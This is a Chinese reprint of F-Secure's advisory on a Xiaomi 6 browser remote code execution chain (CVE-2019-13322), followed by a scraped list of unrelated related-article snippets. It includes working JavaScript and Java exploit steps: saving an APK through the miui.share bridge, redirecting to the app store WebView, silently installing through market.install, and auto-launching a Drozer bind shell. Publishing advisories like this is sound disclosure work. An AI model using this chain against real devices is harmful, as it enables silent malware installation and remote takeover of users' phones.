介绍

在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷。具体步骤如下:用户使用小米浏览器加载攻击者发过来的网站(网页、短信或电子邮件中的链接等)

网页自动使用javascript bridge下载HTML文件

使用browsable intent加载应用商店

应用商店会通过提供的URL加载一个WebView,再加载另一个恶意Web页面

该Web页面使用另一个javascript bridge函数来安装已下载的apk

最后这个应用会依据intent proxy自动启动。

技术细节

第一步要求受害者访问攻击者的网站,一般通过恶意点击链接跳转到攻击者所控制的页面来完成。这个恶意Web页面会执行两个操作。

首先,它会自动下载一个HTML文件。小米浏览器中不允许使用带有download属性的锚元素进行自动下载。但是,可以使用包含在所有Web页面中的javascript bridge,称为miui。

这个bridge包含一个名为share的函数,可将使用经过base64编码的数据存储到磁盘上,文件名基于参数提供给share函数的属性。攻击者可以使用此方法将apk文件保存到磁盘中。@javascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {

OutputStream v1_1;

FileOutputStream v1;

OutputStream v2;

File v6;

byte[] v5;

int v0 = "base64,".length() + arg11.indexOf("ba se64,");

try {

v5 = base64.decode(arg11.substring(v0), 0);

String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";

v6 = new File(com.android.browser.j.a.a(this.a), v0_2);

v2 = null;

这个方法可以通过以下javascript来使用,将apk以base64编码字符串进行安装:miui.share("foo","foo","foo","base64," + apkFile);

在这个样例中,apk的数据会被存储在/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg

文件下载成功后,网页将重定向到应用商店(com.xiaomi.market)。这可以通过创建一个iframe来实现,将src设置为一个可浏览的URL:var iframe = document.createElement("iframe");

var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";

iframe.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);

document.body.appendChild(iframe);

这也会加载应用商店的JoinActivity。通过“url”参数提供WebView的url。而“url”参数被设置为攻击者所控制的Web页面,攻击者可以将任意HTML页面加载到WebView中。

通过应用商店触发安装流程

应用商店中的WebView包含一个名为“Market”的javascript bridge。其中有一个函数会使用本地文件系统上的一个文件来悄悄地安装drozer的apk。以下javascript会在前一步进行已下载文件的安装:function installAPK(){

market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');

}

它将调用“install”方法,解析所提供的JSON数据,并启动“AppArrangeService”服务,而该服务将继续静默安装apk。

app的自启动

在以上过程结束,安装完成后,app将对javascript进行回调,其中调用的javascript函数由安装函数的“callBack”参数指定。这可用于设置已安装应用的自启动。

其中“test”函数定义如下:function test(){

document.location='intent://dzprovider/1#Intent;scheme=content;end';

}

以下格式的Content schemes将由浏览器所处理:

“dzprovider”是Drozer应用所包含的内容提供者:

android:name=".views.MyContentProvider"

android:authorities="dzprovider"

android:enabled="true"

android:exported="true">

当尝试加载这个URL时,浏览器应用程序必须确定mimetype是什么,这主要通过调用相关内容提供者的getType(Uri uri)方法实现的。通过在Drozer应用中重写这个方法,可以进行代码执行,启动Drozer绑定shell:@Override

public String getType(Uri uri) {

Intent i = new Intent();

i.addCategory("com.mwr.dz.START_EMBEDDED");

i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));

Context c = getContext();

c.startService(i);

return “foo”;

}

时间线

2018-11-14:向ZDI报告了该漏洞

2019-01-27:ZDI与厂商联系

2019-02-06:ZDI再次联系厂商

2019-02-06:厂商答复计划在二月底之前进行修复

2019-02-14:ZDI通知厂商,如果2月底前没有进行修复,整体流程将视为已结束

2019-03-04:厂商进行答复但未提供具体时间

2019-06-03:ZDI通知厂商打算将报告结束

2019-11-22:F-Secure发布详情本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3223.html

来源:https://labs.f-secure.com/advisories/xiaomi/

小米6弹HTML查看器,小米6浏览器远程代码执行(CVE-2019-13322)相关推荐

  1. Linux包管理器apt/apt-get发现远程代码执行漏洞

    研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...

  2. 小米6浏览器远程代码执行(CVE-2019-13322)

    介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷.具体步骤如下: 用户使用小米浏览器加载攻击者发过来的网站(网页.短信或电子邮 ...

  3. 小米4C关闭html查看器,小米4C应用安全提醒怎么关闭?未知来源开启教程

    我们都知道最新的小米MIUI7系统,除了更新一些实用性的功能外,最大的改变就是在安全方面的提升了.不过许多朋友对于这种友善的提示并不感冒,反而等待十秒让他们觉得有点不耐烦,其实还是建议大家去小米应用商 ...

  4. DW写的页面,在浏览者查看器中出现大量其他代码

    DW写的页面,图1在浏览者查看器中出现大量其他代码与自己编写的H5中<body>的不一样,是因为浏览器用了油猴插件还是因为其他原因  图二是预想中的情况

  5. 查看exe代码_【安全风险通告】Windows Type 1字体解析远程代码执行漏洞安全风险通告...

    微软官方今天发布了编号为ADV200006的安全通告,其中包含两枚Adobe字体管理库相关的严重远程代码执行漏洞,其中一枚漏洞为奇安信代码安全实验室提交,公告中指出这两枚漏洞已遭在野利用. 鉴于漏洞危 ...

  6. Foxit 修复PDF阅读器中的多个代码执行漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Foxit 阅读器更新版本,修复了可导致任意代码执行后果的多个释放后使用漏洞. Foxit 向用户提供了大量功能,包括通过 JavaScript ...

  7. html查看器 小米8,小米文档查看器app

    小米文档查看器app是一款十分好用的手机端的小米文档管理工具,专业的文档处理工具,wps的专门定制版本,功能基本都加入了其中,使用起来十分的方面,需要的小伙伴赶紧来下载这款小米文档查看器app吧~ 软 ...

  8. PHP 八羊闪电本地相册图片查看器V1 PHP极简代码直接查看本地文件夹图片 源码下载!

    该源码,直接读取本地IMGAGES文件夹的图片,直接显示在相册,点击放大查看,非常方便,非常适合二次开发,但是不适合小白.没有做UI和设计,比较简陋,所以仅仅售价10元钱,想要的就拿去,不想要的就别拍 ...

  9. 小米wifi认证取消html查看器,小米路由器设置了隐藏wifi如何取消?

    问:小米路由器设置了隐藏wifi如何取消? 答:登录到小米路由器的管理页面中,就可以取消隐藏wifi的设置,下面演示一次具体的操作步骤. 注意: 如果你没有电脑,并且隐藏小米路由器的wifi后,自己的 ...

最新文章

  1. 1012 The Best Rank
  2. 用好idea这几款插件,可以帮你少写30%的代码!
  3. 我是怎样成长为系统架构师的
  4. sklearn.preprocessing.PolynomialFeatures
  5. Linux 允许指定IP访问目录
  6. 如何在网页中动态为模版页的Body添加属性
  7. 使用Jquery 结合后台数据库显示类似QQ图片中心
  8. tensorflow输出
  9. linux吃鸡游戏下载,网络大逃杀2077
  10. java连接数据库实现一个简单的登陆界面
  11. Mstar的Monitor方案笔记(五)——Gamma
  12. Win10应用商店打不开?微软官方提供修复方法
  13. the permanent HWaddr of eth0 .. is still in use by bond0
  14. 《富爸爸穷爸爸》书摘-为什么要教授财务知识
  15. 如何制定有效的项目进度计划——甘特图
  16. 如何实现系统的单点登录?
  17. 拿下计算机三级证以后能干嘛,计算机三级证书用处
  18. Mysql主键与事务
  19. BME680传感器-BESC空气质量IAQ算法库的三种工作模式
  20. matlab实验报告李琼指数函数,基于MATLAB的多元非线性回归模型

热门文章

  1. Ublox GPS模块型号入门介绍
  2. python ldap3 创建用户_基于python LDAP3的AD域账号注册系统
  3. centos7 安装Zabbix3.0
  4. Linux效劳器装机安全疾速进阶指南(2)
  5. 太累了,28岁半路转行,坚持了三年现如今年薪36W+,也算是给自己一个满意的交待了
  6. 搭建spring config的坑 记录一下
  7. Python数据分析之证券之星沪深A股基本信息爬取与分析
  8. **Windows10下最便捷的屏幕录制方法**
  9. 408计算机组成原理知识点常考点总结
  10. iptables、firewalld防火墙详解